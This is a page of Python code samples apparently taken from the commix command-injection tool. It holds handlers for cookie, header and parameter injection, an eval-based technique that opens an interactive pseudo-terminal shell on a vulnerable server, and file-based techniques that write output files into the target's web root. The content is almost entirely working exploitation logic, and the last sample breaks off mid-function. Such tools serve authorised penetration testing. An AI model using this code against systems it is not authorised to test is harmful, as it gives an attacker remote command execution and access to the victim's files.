Esempio n. 1
0
def cookie_injection(url, http_request_method, filename, timesec):

  settings.COOKIE_INJECTION = True

  # Cookie Injection
  if settings.COOKIE_INJECTION == True:
    cookie_value = menu.options.cookie

    header_name = " cookie"
    settings.HTTP_HEADER = header_name[1:].lower()
    cookie_parameters = parameters.do_cookie_check(menu.options.cookie)
    if type(cookie_parameters) is str:
      cookie_parameters_list = []
      cookie_parameters_list.append(cookie_parameters)
      cookie_parameters = cookie_parameters_list

    # Remove whitespaces 
    cookie_parameters = [x.replace(" ", "") for x in cookie_parameters]

    check_parameters = []
    for i in range(0, len(cookie_parameters)):
      menu.options.cookie = cookie_parameters[i]
      check_parameter = parameters.specify_cookie_parameter(menu.options.cookie)
      check_parameters.append(check_parameter)

    checks.print_non_listed_params(check_parameters, http_request_method, header_name)

    for i in range(0, len(cookie_parameters)):
      parameter = menu.options.cookie = cookie_parameters[i]
      check_parameter = parameters.specify_cookie_parameter(parameter)
      if check_parameter != parameter:
        if len(check_parameter) > 0:
          settings.TESTABLE_PARAMETER = check_parameter

        # Check if testable parameter(s) are provided
        if len(settings.TEST_PARAMETER) > 0:
          if menu.options.test_parameter != None:
            param_counter = 0
            for check_parameter in check_parameters:
              if check_parameter in "".join(settings.TEST_PARAMETER).split(","):
                menu.options.cookie = cookie_parameters[param_counter]
                # Check for session file 
                check_for_stored_sessions(url, http_request_method)
                injection_proccess(url, check_parameter, http_request_method, filename, timesec) 
              param_counter += 1
            break  
        else:
          # Check for session file 
          check_for_stored_sessions(url, http_request_method)
          injection_proccess(url, check_parameter, http_request_method, filename, timesec) 
 
  if settings.COOKIE_INJECTION == True:
    # Restore cookie value
    menu.options.cookie = cookie_value
    # Disable cookie injection 
    settings.COOKIE_INJECTION = False
Esempio n. 2
0
def cookie_injection(url, http_request_method, filename, delay):

  settings.COOKIE_INJECTION = True

  # Cookie Injection
  if settings.COOKIE_INJECTION == True:
    cookie_value = menu.options.cookie

    header_name = " cookie"
    settings.HTTP_HEADER = header_name[1:].lower()
    cookie_parameters = parameters.do_cookie_check(menu.options.cookie)
    if type(cookie_parameters) is str:
      cookie_parameters_list = []
      cookie_parameters_list.append(cookie_parameters)
      cookie_parameters = cookie_parameters_list

    # Remove whitespaces 
    cookie_parameters = [x.replace(" ", "") for x in cookie_parameters]

    check_parameters = []
    for i in range(0, len(cookie_parameters)):
      menu.options.cookie = cookie_parameters[i]
      check_parameter = parameters.specify_cookie_parameter(menu.options.cookie)
      check_parameters.append(check_parameter)

    checks.print_non_listed_params(check_parameters, http_request_method, header_name)

    for i in range(0, len(cookie_parameters)):
      menu.options.cookie = cookie_parameters[i]
      check_parameter = parameters.specify_cookie_parameter(menu.options.cookie)
      if len(check_parameter) > 0:
        settings.TESTABLE_PARAMETER = check_parameter 
      # Check if testable parameter(s) are provided
      if len(settings.TEST_PARAMETER) > 0:
        if check_parameter in settings.TEST_PARAMETER:
          # Check for session file 
          check_for_stored_sessions(url, http_request_method)
          injection_proccess(url, check_parameter, http_request_method, filename, delay) 
      else:
        # Check for session file 
        check_for_stored_sessions(url, http_request_method)
        injection_proccess(url, check_parameter, http_request_method, filename, delay) 
 
  if settings.COOKIE_INJECTION == True:
    # Restore cookie value
    menu.options.cookie = cookie_value
    # Disable cookie injection 
    settings.COOKIE_INJECTION = False
Esempio n. 3
0
def eb_injection_handler(url, delay, filename, http_request_method):
  
  counter = 1
  vp_flag = True
  no_result = True
  export_injection_info = False
  injection_type = "Results-based Command Injection"
  technique = "eval-based injection technique"
  
  sys.stdout.write("(*) Testing the "+ technique + "... ")
  sys.stdout.flush()
    
  i = 0
  # Calculate all possible combinations
  total = len(settings.EVAL_PREFIXES) * len(settings.EVAL_SEPARATORS) * len(settings.EVAL_SUFFIXES)
  
  for prefix in settings.EVAL_PREFIXES:
    for suffix in settings.EVAL_SUFFIXES:
      for separator in settings.EVAL_SEPARATORS:
        i = i + 1
        
        # Check for bad combination of prefix and separator
        combination = prefix + separator
        if combination in settings.JUNK_COMBINATION:
          prefix = ""

        # Change TAG on every request to prevent false-positive results.
        TAG = ''.join(random.choice(string.ascii_uppercase) for i in range(6))

        randv1 = random.randrange(100)
        randv2 = random.randrange(100)
        randvcalc = randv1 + randv2

        try:
          # Eval-based decision payload (check if host is vulnerable).
          payload = eb_payloads.decision(separator, TAG, randv1, randv2)
          
          # Fix prefixes / suffixes
          payload = parameters.prefixes(payload, prefix)
          payload = parameters.suffixes(payload, urllib.quote(suffix))

          payload = payload + "" + TAG + ""
          payload = re.sub(" ", "%20", payload)

          # Check if defined "--verbose" option.
          if menu.options.verbose:
            sys.stdout.write("\n" + Fore.GREY + payload + Style.RESET_ALL)

          # Cookie Injection
          if settings.COOKIE_INJECTION == True:
            # Check if target host is vulnerable to cookie injection.
            vuln_parameter = parameters.specify_cookie_parameter(menu.options.cookie)
            response = eb_injector.cookie_injection_test(url, vuln_parameter, payload)

          # User-Agent Injection
          elif settings.USER_AGENT_INJECTION == True:
            # Check if target host is vulnerable to user-agent injection.
            vuln_parameter = parameters.specify_user_agent_parameter(menu.options.agent)
            response = eb_injector.user_agent_injection_test(url, vuln_parameter, payload)

          # Referer Injection
          elif settings.REFERER_INJECTION == True:
            # Check if target host is vulnerable to referer injection.
            vuln_parameter = parameters.specify_referer_parameter(menu.options.referer)
            response = eb_injector.referer_injection_test(url, vuln_parameter, payload)

          else:
            found_cookie_injection = False
            # Check if target host is vulnerable.
            response, vuln_parameter = eb_injector.injection_test(payload, http_request_method, url)         
  
          # if need page reload
          if menu.options.url_reload: 
            time.sleep(delay)
            response = urllib.urlopen(url)
            
          # Evaluate test results.
          shell = eb_injector.injection_test_results(response, TAG, randvcalc)
          if not menu.options.verbose:
            percent = ((i*100)/total)
            if percent == 100:
              if no_result == True:
                percent = Fore.RED + "FAILED" + Style.RESET_ALL
              else:
                percent = str(percent)+"%"
            elif len(shell) != 0:
              percent = Fore.GREEN + "SUCCEED" + Style.RESET_ALL
            else:
              percent = str(percent)+"%"
            sys.stdout.write("\r(*) Testing the "+ technique + "... " +  "[ " + percent + " ]")  
            sys.stdout.flush()
            
        except KeyboardInterrupt: 
          raise
          
        except:
          continue
        
        # Yaw, got shellz! 
        # Do some magic tricks!
        if shell:
          found = True
          no_result = False

          if settings.COOKIE_INJECTION == True: 
            header_name = " Cookie"
            found_vuln_parameter = vuln_parameter
            the_type = " HTTP header"

          elif settings.USER_AGENT_INJECTION == True: 
            header_name = " User-Agent"
            found_vuln_parameter = ""
            the_type = " HTTP header"
            
          elif settings.REFERER_INJECTION == True: 
            header_name = " Referer"
            found_vuln_parameter = ""
            the_type = " HTTP header"

          else:    
            header_name = ""
            the_type = " parameter"
            if http_request_method == "GET":
              found_vuln_parameter = parameters.vuln_GET_param(url)
            else :
              found_vuln_parameter = vuln_parameter

          if len(found_vuln_parameter) != 0 :
            found_vuln_parameter = " '" + Style.UNDERLINE + found_vuln_parameter + Style.RESET_ALL  + Style.BRIGHT + "'"

          # Print the findings to log file.
          if export_injection_info == False:
            export_injection_info = logs.add_type_and_technique(export_injection_info, filename, injection_type, technique)
          if vp_flag == True:
            vp_flag = logs.add_parameter(vp_flag, filename, http_request_method, vuln_parameter, payload)
          logs.upload_payload(filename, counter, payload) 
          counter = counter + 1
          
          # Print the findings to terminal.
          print Style.BRIGHT + "\n(!) The ("+ http_request_method + ")" + found_vuln_parameter + header_name + the_type + " is vulnerable to "+ injection_type + "." + Style.RESET_ALL
          print "  (+) Type : "+ Fore.YELLOW + Style.BRIGHT + injection_type + Style.RESET_ALL + ""
          print "  (+) Technique : "+ Fore.YELLOW + Style.BRIGHT + technique.title() + Style.RESET_ALL + ""
          print "  (+) Payload : "+ Fore.YELLOW + Style.BRIGHT + re.sub("%20", " ", payload) + Style.RESET_ALL
            
          # Check for any enumeration options.
          eb_enumeration.do_check(separator, TAG, prefix, suffix, http_request_method, url, vuln_parameter)

          # Check for any system file access options.
          eb_file_access.do_check(separator, TAG, prefix, suffix, http_request_method, url, vuln_parameter)

          # Check if defined single cmd.
          if menu.options.os_cmd:
            eb_enumeration.single_os_cmd_exec(separator, TAG, prefix, suffix, http_request_method, url, vuln_parameter)

          # Pseudo-Terminal shell
          go_back = False
          while True:
            if go_back == True:
              break
            gotshell = raw_input("\n(?) Do you want a Pseudo-Terminal shell? [Y/n] > ").lower()
            if gotshell in settings.CHOISE_YES:
              print ""
              print "Pseudo-Terminal (type '?' for shell options)"
              while True:
                try:
                  cmd = raw_input("Shell > ")
                  if cmd.lower() in settings.SHELL_OPTIONS:
                    if cmd.lower() == "?":
                      menu.shell_options()
                    elif cmd.lower() == "quit":
                      logs.logs_notification(filename)
                      sys.exit(0)
                    elif cmd.lower() == "back":
                      go_back = True
                      break
                    else:
                      pass
                      
                  else:
                    # The main command injection exploitation.
                    response = eb_injector.injection(separator, TAG, cmd, prefix, suffix, http_request_method, url, vuln_parameter)
                          
                    # if need page reload
                    if menu.options.url_reload:
                      time.sleep(delay)
                      response = urllib.urlopen(url)
                      
                    # Command execution results.
                    shell = eb_injector.injection_results(response, TAG)
                    if shell:
                      shell = "".join(str(p) for p in shell).replace(" ", "", 1)[:-1]
                      if shell != "":
                        print "\n" + Fore.GREEN + Style.BRIGHT + shell + Style.RESET_ALL + "\n"
                      else:
                        print "\n" + Back.RED + "(x) Error: The '" + cmd + "' command, does not return any output." + Style.RESET_ALL + "\n"
                    
                except KeyboardInterrupt: 
                  raise
              
            elif gotshell in settings.CHOISE_NO:
              if menu.options.verbose:
                sys.stdout.write("\r(*) Continue testing the "+ technique +"... ")
                sys.stdout.flush()
              break
            
            else:
              if gotshell == "":
                gotshell = "enter"
              print Back.RED + "(x) Error: '" + gotshell + "' is not a valid answer." + Style.RESET_ALL
              pass
            
            
  if no_result == True:
    print ""
    return False

  else :
    sys.stdout.write("\r")
    sys.stdout.flush()
Esempio n. 4
0
def fb_injection_handler(url, delay, filename, http_request_method, url_time_response):
  counter = 1
  vp_flag = True
  exit_loops = False
  no_result = True
  is_encoded= False
  stop_injection = False
  call_tmp_based = False
  export_injection_info = False
  injection_type = "Semiblind Command Injection"
  technique = "file-based injection technique"

  # Set temp path 
  if settings.TARGET_OS == "win":
    if "microsoft-iis" in settings.SERVER_BANNER.lower():
      settings.TMP_PATH = "C:\\Windows\TEMP\\"
    else:
      settings.TMP_PATH = "%temp%\\"
  else:
    settings.TMP_PATH = "/tmp/"

  if menu.options.tmp_path:
    tmp_path = menu.options.tmp_path
  else:
    tmp_path = settings.TMP_PATH

  if menu.options.file_dest and '/tmp/' in menu.options.file_dest:
    call_tmp_based = True
  else:
    if menu.options.srv_root_dir:
      settings.SRV_ROOT_DIR = menu.options.srv_root_dir
    else:
      # Debian/Ubunt have been updated to use /var/www/html as default instead of /var/www.
      if "apache" in settings.SERVER_BANNER.lower():
        if "debian" or "ubuntu" in settings.SERVER_BANNER.lower():
          try:
            check_version = re.findall(r"/(.*)\.", settings.SERVER_BANNER.lower())
            if check_version[0] > "2.3" and not settings.TARGET_OS == "win":
              # Add "/html" to servers root directory
              settings.SRV_ROOT_DIR = settings.SRV_ROOT_DIR + "/html"
            else:
              settings.SRV_ROOT_DIR = settings.SRV_ROOT_DIR 
          except IndexError:
            pass
        # Add "/html" to servers root directory
        elif "fedora" or "centos" in settings.SERVER_BANNER.lower():
          settings.SRV_ROOT_DIR = settings.SRV_ROOT_DIR + "/html"
        else:
          pass
      # On more recent versions (>= "1.2.4") the default root path has changed to "/usr/share/nginx/html"
      elif "nginx" in settings.SERVER_BANNER.lower():
        try:
          check_version = re.findall(r"/(.*)\.", settings.SERVER_BANNER.lower())
          if check_version[0] >= "1.2.4":
            # Add "/html" to servers root directory
            settings.SRV_ROOT_DIR = settings.SRV_ROOT_DIR + "/html"
          else:
            # Add "/www" to servers root directory
            settings.SRV_ROOT_DIR = settings.SRV_ROOT_DIR + "/www"
        except IndexError:
          pass
      elif "microsoft-iis" in settings.SERVER_BANNER.lower():
        pass
      else:
        # Provide custom server's root directory.
        custom_srv_root_dir()

      path = urlparse.urlparse(url).path
      path_parts = path.split('/')
      count = 0
      for part in path_parts:        
        count = count + 1
      count = count - 1
      last_param = path_parts[count]
      EXTRA_DIR = path.replace(last_param, "")
      settings.SRV_ROOT_DIR = settings.SRV_ROOT_DIR + EXTRA_DIR
      if settings.TARGET_OS == "win":
        settings.SRV_ROOT_DIR = settings.SRV_ROOT_DIR.replace("/","\\")

    if not menu.options.verbose:
      print "(*) Trying to create a file in '" + settings.SRV_ROOT_DIR + "'... "
    else:
      print "(*) Testing the " + technique + "... "

  i = 0
  # Calculate all possible combinations
  total = len(settings.PREFIXES) * len(settings.SEPARATORS) * len(settings.SUFFIXES)
  # Check if defined alter shell
  alter_shell = menu.options.alter_shell
  
  for prefix in settings.PREFIXES:
    for suffix in settings.SUFFIXES:
      for separator in settings.SEPARATORS:
        i = i + 1
        # Change TAG on every request to prevent false-positive results.
        TAG = ''.join(random.choice(string.ascii_uppercase) for i in range(6)) 
        # The output file for file-based injection technique.
        OUTPUT_TEXTFILE = TAG + ".txt"    
        # Check for bad combination of prefix and separator
        combination = prefix + separator
        if combination in settings.JUNK_COMBINATION:
          prefix = ""

        try:
          # File-based decision payload (check if host is vulnerable).
          if alter_shell :
            payload = fb_payloads.decision_alter_shell(separator, TAG, OUTPUT_TEXTFILE)
          else:
            payload = fb_payloads.decision(separator, TAG, OUTPUT_TEXTFILE)
                  
          # Check if defined "--prefix" option.
          # Fix prefixes / suffixes
          payload = parameters.prefixes(payload, prefix)
          payload = parameters.suffixes(payload, suffix)

          if menu.options.base64:
            payload = base64.b64encode(payload)

          # Check if defined "--verbose" option.
          if menu.options.verbose:
            print "(*) Trying to upload the '" + OUTPUT_TEXTFILE + "' file on '" + settings.SRV_ROOT_DIR + "'..."
            print Fore.GREY + "(~) Payload: " + payload.replace("\n", "\\n") + Style.RESET_ALL

          # Cookie Injection
          if settings.COOKIE_INJECTION == True:
            # Check if target host is vulnerable to cookie injection.
            vuln_parameter = parameters.specify_cookie_parameter(menu.options.cookie)
            response = fb_injector.cookie_injection_test(url, vuln_parameter, payload)

          # User-Agent Injection
          elif settings.USER_AGENT_INJECTION == True:
            # Check if target host is vulnerable to user-agent injection.
            vuln_parameter = parameters.specify_user_agent_parameter(menu.options.agent)
            response = fb_injector.user_agent_injection_test(url, vuln_parameter, payload)          

          # Referer Injection
          elif settings.REFERER_INJECTION == True:
            # Check if target host is vulnerable to referer injection.
            vuln_parameter = parameters.specify_referer_parameter(menu.options.referer)
            response = fb_injector.referer_injection_test(url, vuln_parameter, payload)

          else:
            # Check if target host is vulnerable.
            response, vuln_parameter = fb_injector.injection_test(payload, http_request_method, url)

          # Find the directory.
          output = fb_injector.injection_output(url, OUTPUT_TEXTFILE, delay)
          time.sleep(delay)
          
          try:
            # Check if defined extra headers.
            request = urllib2.Request(output)
            headers.do_check(request)
            
            # Evaluate test results.
            output = urllib2.urlopen(request)
            html_data = output.read()
            shell = re.findall(r"" + TAG + "", html_data)

            if len(shell) != 0 and shell == TAG and not menu.options.verbose:
              percent = Fore.GREEN + "SUCCEED" + Style.RESET_ALL
              sys.stdout.write("\r(*) Testing the " + technique + "... [ " + percent + " ]")  
              sys.stdout.flush()

            if len(shell) == 0 :
              #delete_previous_shell(separator, payload, TAG, prefix, suffix, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)
              #if menu.options.verbose:
                #print ""
              raise urllib2.HTTPError(url, 404, 'Error', {}, None)

          except urllib2.HTTPError, e:
              if e.getcode() == 404:
                percent = ((i*100)/total)
                float_percent = "{0:.1f}".format(round(((i*100)/(total*1.0)),2))

                if call_tmp_based == True:
                  exit_loops = True
                  tmp_path = os.path.split(menu.options.file_dest)[0] + "/"
                  tfb_controller(no_result, url, delay, filename, tmp_path, http_request_method, url_time_response)
                  raise
                  
                # Show an error message, after N failed tries.
                # Use the "/tmp/" directory for tempfile-based technique.
                elif i == settings.FAILED_TRIES and no_result == True :
                  if not menu.options.verbose:
                    print ""
                  print Fore.YELLOW + "(^) Warning: It seems that you don't have permissions to read and/or write files in '" + settings.SRV_ROOT_DIR + "'." + Style.RESET_ALL
                  while True:
                    tmp_upload = raw_input("(?) Do you want to try the temporary directory (" + tmp_path + ") [Y/n/q] > ").lower()
                    if tmp_upload in settings.CHOISE_YES:
                      exit_loops = True
                      call_tfb = tfb_controller(no_result, url, delay, filename, tmp_path, http_request_method, url_time_response)
                      if call_tfb != False:
                        return True
                      else:
                        if no_result == True:
                          return False
                        else:
                          return True
                    elif tmp_upload in settings.CHOISE_NO:
                      break
                    elif tmp_upload in settings.CHOISE_QUIT:
                      print ""
                      raise
                    else:
                      if tmp_upload == "":
                        tmp_upload = "enter"
                      print Back.RED + "(x) Error: '" + tmp_upload + "' is not a valid answer." + Style.RESET_ALL
                      pass
                  continue
                
                else:
                  if exit_loops == False:
                    if not menu.options.verbose:
                      if percent == 100:
                        if no_result == True:
                          percent = Fore.RED + "FAILED" + Style.RESET_ALL
                        else:
                          percent = str(float_percent)+ "%"
                      else:
                        percent = str(float_percent)+ "%"

                      sys.stdout.write("\r(*) Testing the " + technique + "... [ " + percent + " ]")  
                      sys.stdout.flush()
                      continue
                    else:
                      continue
                  else:
                    raise
                
              elif e.getcode() == 401:
                print Back.RED + "(x) Error: Authorization required!" + Style.RESET_ALL + "\n"
                sys.exit(0)
                
              elif e.getcode() == 403:
                print Back.RED + "(x) Error: You don't have permission to access this page." + Style.RESET_ALL + "\n"
                sys.exit(0)
          
        except KeyboardInterrupt:
          # Delete previous shell (text) files (output)
          delete_previous_shell(separator, payload, TAG, prefix, suffix, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)
          raise

        except SystemExit: 
          if 'vuln_parameter' in locals():
            # Delete previous shell (text) files (output)
            delete_previous_shell(separator, payload, TAG, prefix, suffix, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)
          else:
            pass

          #delete_previous_shell(separator, payload, TAG, prefix, suffix, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)
          raise

        except urllib2.URLError, e:
          # print "\n" + Back.RED + "(x) Error: " + str(e.reason) + Style.RESET_ALL
          print Fore.YELLOW + "(^) Warning: It seems that you don't have permissions to read and/or write files in '" + settings.SRV_ROOT_DIR + "'." + Style.RESET_ALL
          # Provide custom server's root directory.
          custom_srv_root_dir()
          continue
        
        except:
          raise
Esempio n. 5
0
def fb_injection_handler(url, timesec, filename, http_request_method, url_time_response):
  shell = False
  counter = 1
  vp_flag = True
  exit_loops = False
  no_result = True
  is_encoded = False
  stop_injection = False
  call_tmp_based = False
  next_attack_vector = False
  export_injection_info = False
  injection_type = "semi-blind command injection"
  technique = "file-based command injection technique"

  tmp_path = check_tmp_path(url, timesec, filename, http_request_method, url_time_response)

  if not settings.LOAD_SESSION or settings.RETEST == True: 
    TAG = ''.join(random.choice(string.ascii_uppercase) for i in range(6)) 
    info_msg = "Trying to create a file in '" + settings.WEB_ROOT 
    info_msg += "' for command execution results... "
    print settings.print_info_msg(info_msg)

  i = 0
  # Calculate all possible combinations
  total = len(settings.WHITESPACE) * len(settings.PREFIXES) * len(settings.SEPARATORS) * len(settings.SUFFIXES)
  # Check if defined alter shell
  alter_shell = menu.options.alter_shell
  for whitespace in settings.WHITESPACE:
    for prefix in settings.PREFIXES:
      for suffix in settings.SUFFIXES:
        for separator in settings.SEPARATORS:

          # Check injection state
          settings.DETECTION_PHASE = True
          settings.EXPLOITATION_PHASE = False
          # If a previous session is available.
          if settings.LOAD_SESSION:
            try:
              settings.FILE_BASED_STATE = True
              url, technique, injection_type, separator, shell, vuln_parameter, prefix, suffix, TAG, alter_shell, payload, http_request_method, url_time_response, timesec, how_long, output_length, is_vulnerable = session_handler.injection_point_exportation(url, http_request_method)
              checks.check_for_stored_tamper(payload)
              OUTPUT_TEXTFILE = TAG + ".txt"
              session_handler.notification(url, technique, injection_type)
              if technique == "tempfile-based injection technique":
                #settings.LOAD_SESSION = True
                tfb_handler.exploitation(url, timesec, filename, tmp_path, http_request_method, url_time_response)
            except TypeError:
              err_msg = "An error occurred while accessing session file ('"
              err_msg += settings.SESSION_FILE + "'). "
              err_msg += "Use the '--flush-session' option."
              print settings.print_critical_msg(err_msg)
              raise SystemExit()

          if settings.RETEST == True:
            settings.RETEST = False
            from src.core.injections.results_based.techniques.classic import cb_handler
            cb_handler.exploitation(url, timesec, filename, http_request_method)
   
          if not settings.LOAD_SESSION:
            i = i + 1
            # The output file for file-based injection technique.
            OUTPUT_TEXTFILE = TAG + ".txt"    
            # Check for bad combination of prefix and separator
            combination = prefix + separator
            if combination in settings.JUNK_COMBINATION:
              prefix = ""

            try:
              # File-based decision payload (check if host is vulnerable).
              if alter_shell :
                payload = fb_payloads.decision_alter_shell(separator, TAG, OUTPUT_TEXTFILE)
              else:
                payload = fb_payloads.decision(separator, TAG, OUTPUT_TEXTFILE)
                      
              # Check if defined "--prefix" option.
              # Fix prefixes / suffixes
              payload = parameters.prefixes(payload, prefix)
              payload = parameters.suffixes(payload, suffix)

              # Whitespace fixation
              payload = payload.replace(" ", whitespace)

              # Perform payload modification
              payload = checks.perform_payload_modification(payload)

              # Check if defined "--verbose" option.
              if settings.VERBOSITY_LEVEL == 1:
                payload_msg = payload.replace("\n", "\\n")
                print settings.print_payload(payload_msg)
              # Check if defined "--verbose" option.
              elif settings.VERBOSITY_LEVEL > 1:
                info_msg = "Generating a payload for injection..."
                print settings.print_info_msg(info_msg)
                print settings.print_payload(payload) 

              # Cookie Injection
              if settings.COOKIE_INJECTION == True:
                # Check if target host is vulnerable to cookie header injection.
                vuln_parameter = parameters.specify_cookie_parameter(menu.options.cookie)
                response = fb_injector.cookie_injection_test(url, vuln_parameter, payload)

              # User-Agent HTTP Header Injection
              elif settings.USER_AGENT_INJECTION == True:
                # Check if target host is vulnerable to user-agent HTTP header injection.
                vuln_parameter = parameters.specify_user_agent_parameter(menu.options.agent)
                response = fb_injector.user_agent_injection_test(url, vuln_parameter, payload)          

              # Referer HTTP Header Injection
              elif settings.REFERER_INJECTION == True:
                # Check if target host is vulnerable to Referer HTTP header injection.
                vuln_parameter = parameters.specify_referer_parameter(menu.options.referer)
                response = fb_injector.referer_injection_test(url, vuln_parameter, payload)

              # Host HTTP Header Injection
              elif settings.HOST_INJECTION == True:
                # Check if target host is vulnerable to Host HTTP header injection.
                vuln_parameter = parameters.specify_host_parameter(menu.options.host)
                response = fb_injector.host_injection_test(url, vuln_parameter, payload)

              # Custom HTTP header Injection
              elif settings.CUSTOM_HEADER_INJECTION == True:
                # Check if target host is vulnerable to custom HTTP header injection.
                vuln_parameter = parameters.specify_custom_header_parameter(settings.INJECT_TAG)
                response = fb_injector.custom_header_injection_test(url, vuln_parameter, payload)

              else:
                # Check if target host is vulnerable.
                response, vuln_parameter = fb_injector.injection_test(payload, http_request_method, url)

              # Find the directory.
              output = fb_injector.injection_output(url, OUTPUT_TEXTFILE, timesec)
              time.sleep(timesec)
              
              try:

                # Check if defined extra headers.
                request = urllib2.Request(output)
                headers.do_check(request)

                # Evaluate test results.
                output = urllib2.urlopen(request)
                html_data = output.read()
                shell = re.findall(r"" + TAG + "", html_data)

                if len(shell) != 0 and shell[0] == TAG and not settings.VERBOSITY_LEVEL >= 1:
                  percent = Fore.GREEN + "SUCCEED" + Style.RESET_ALL
                  info_msg = "Testing the " + "(" + injection_type.split(" ")[0] + ") " + technique + "... [ " + percent + " ]"
                  sys.stdout.write("\r" + settings.print_info_msg(info_msg))
                  sys.stdout.flush()

                if len(shell) == 0 :
                  raise urllib2.HTTPError(url, 404, 'Error', {}, None)

              except urllib2.HTTPError, e:
                if str(e.getcode()) == settings.NOT_FOUND_ERROR:
                  percent = ((i*100)/total)
                  float_percent = "{0:.1f}".format(round(((i*100)/(total*1.0)),2))

                  if call_tmp_based == True:
                    exit_loops = True
                    tmp_path = os.path.split(menu.options.file_dest)[0] + "/"
                    tfb_controller(no_result, url, timesec, filename, tmp_path, http_request_method, url_time_response)
                    raise
                    
                  # Show an error message, after N failed tries.
                  # Use the "/tmp/" directory for tempfile-based technique.
                  elif i == int(menu.options.failed_tries) and no_result == True :
                    tmp_path = check_tmp_path(url, timesec, filename, http_request_method, url_time_response)
                    warn_msg = "It seems that you don't have permissions to "
                    warn_msg += "read and/or write files in '" + settings.WEB_ROOT + "'."  
                    sys.stdout.write("\r" + settings.print_warning_msg(warn_msg))
                    print ""
                    while True:
                      if not menu.options.batch:
                        question_msg = "Do you want to try the temporary directory (" + tmp_path + ") [Y/n] > "
                        sys.stdout.write(settings.print_question_msg(question_msg))
                        tmp_upload = sys.stdin.readline().replace("\n","").lower()
                      else:
                        tmp_upload = ""
                      if len(tmp_upload) == 0:
                         tmp_upload = "y"
                      if tmp_upload in settings.CHOICE_YES:
                        exit_loops = True
                        settings.TEMPFILE_BASED_STATE = True
                        call_tfb = tfb_controller(no_result, url, timesec, filename, tmp_path, http_request_method, url_time_response)
                        if call_tfb != False:
                          return True
                        else:
                          if no_result == True:
                            return False
                          else:
                            return True
                      elif tmp_upload in settings.CHOICE_NO:
                        break
                      elif tmp_upload in settings.CHOICE_QUIT:
                        print ""
                        raise
                      else:
                        err_msg = "'" + tmp_upload + "' is not a valid answer."  
                        print settings.print_error_msg(err_msg)
                        pass
                    continue
                  
                  else:
                    if exit_loops == False:
                      if not settings.VERBOSITY_LEVEL >= 1:
                        if str(float_percent) == "100.0":
                          if no_result == True:
                            percent = Fore.RED + "FAILED" + Style.RESET_ALL
                          else:
                            percent = str(float_percent)+ "%"
                        else:
                          percent = str(float_percent)+ "%"

                        info_msg = "Testing the " + "(" + injection_type.split(" ")[0] + ") " + technique + "... [ " + percent + " ]"
                        sys.stdout.write("\r" + settings.print_info_msg(info_msg))
                        sys.stdout.flush()
                        continue
                      else:
                        continue
                    else:
                      raise
                  
                elif str(e.getcode()) == settings.UNAUTHORIZED_ERROR:
                  err_msg = "Authorization required!"
                  print settings.print_critical_msg(err_msg) + "\n"
                  raise SystemExit()
                  
                elif str(e.getcode()) == settings.FORBIDDEN_ERROR:
                  err_msg = "You don't have permission to access this page."
                  print settings.print_critical_msg(err_msg) + "\n"
                  raise SystemExit()
              
            except KeyboardInterrupt:
              # Delete previous shell (text) files (output)
              delete_previous_shell(separator, payload, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)
              raise

            except SystemExit: 
              if 'vuln_parameter' in locals():
                # Delete previous shell (text) files (output)
                delete_previous_shell(separator, payload, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)
              raise

            except urllib2.URLError, e: 
              warn_msg = "It seems that you don't have permissions to "
              warn_msg += "read and/or write files in '" + settings.WEB_ROOT + "'."
              sys.stdout.write("\r" + settings.print_warning_msg(warn_msg))
              err_msg = str(e).replace(": "," (") + ")."
              if menu.options.verbose > 1:
                print ""
              print settings.print_critical_msg(err_msg)
              # Provide custom server's root directory.
              custom_web_root(url, timesec, filename, http_request_method, url_time_response)
              continue
            
            except:
              raise
          
          # Yaw, got shellz! 
          # Do some magic tricks!
          if shell:
            settings.FILE_BASED_STATE = True
            found = True
            no_result = False
            # Check injection state
            settings.DETECTION_PHASE = False
            settings.EXPLOITATION_PHASE = True
            if not settings.VERBOSITY_LEVEL >= 1 and \
               not menu.options.alter_shell and \
               not next_attack_vector:
              next_attack_vector = True

            if settings.COOKIE_INJECTION == True: 
              header_name = " cookie"
              found_vuln_parameter = vuln_parameter
              the_type = " parameter"

            elif settings.USER_AGENT_INJECTION == True: 
              header_name = " User-Agent"
              found_vuln_parameter = ""
              the_type = " HTTP header"

            elif settings.REFERER_INJECTION == True: 
              header_name = " Referer"
              found_vuln_parameter = ""
              the_type = " HTTP header"

            elif settings.HOST_INJECTION == True: 
              header_name = "Host"
              found_vuln_parameter = ""
              the_type = " HTTP header"

            elif settings.CUSTOM_HEADER_INJECTION == True: 
              header_name = " " + settings.CUSTOM_HEADER_NAME
              found_vuln_parameter = ""
              the_type = " HTTP header"

            else:
              header_name = ""
              the_type = " parameter"
              if http_request_method == "GET":
                found_vuln_parameter = parameters.vuln_GET_param(url)
              else :
                found_vuln_parameter = vuln_parameter

            if len(found_vuln_parameter) != 0 :
              found_vuln_parameter = " '" +  found_vuln_parameter + Style.RESET_ALL  + Style.BRIGHT + "'" 

            # Print the findings to log file.
            if export_injection_info == False:
              export_injection_info = logs.add_type_and_technique(export_injection_info, filename, injection_type, technique)
            if vp_flag == True:
              vp_flag = logs.add_parameter(vp_flag, filename, the_type, header_name, http_request_method, vuln_parameter, payload)
            logs.update_payload(filename, counter, payload) 
            counter = counter + 1

            if not settings.LOAD_SESSION:
              if not settings.VERBOSITY_LEVEL >= 1:
                print ""
              else:
                checks.total_of_requests()

            # Print the findings to terminal.
            success_msg = "The"
            if len(found_vuln_parameter) > 0 and not "cookie" in header_name : 
              success_msg += " " + http_request_method 
            success_msg += ('', ' (JSON)')[settings.IS_JSON] + ('', ' (SOAP/XML)')[settings.IS_XML] + the_type + header_name
            success_msg += found_vuln_parameter + " seems injectable via "
            success_msg += "(" + injection_type.split(" ")[0] + ") " + technique + "."
            print settings.print_success_msg(success_msg)
            print settings.SUB_CONTENT_SIGN + "Payload: " + str(checks.url_decode(payload)) + Style.RESET_ALL
            # Export session
            if not settings.LOAD_SESSION:
              session_handler.injection_point_importation(url, technique, injection_type, separator, shell[0], vuln_parameter, prefix, suffix, TAG, alter_shell, payload, http_request_method, url_time_response=0, timesec=0, how_long=0, output_length=0, is_vulnerable=menu.options.level)
            else:
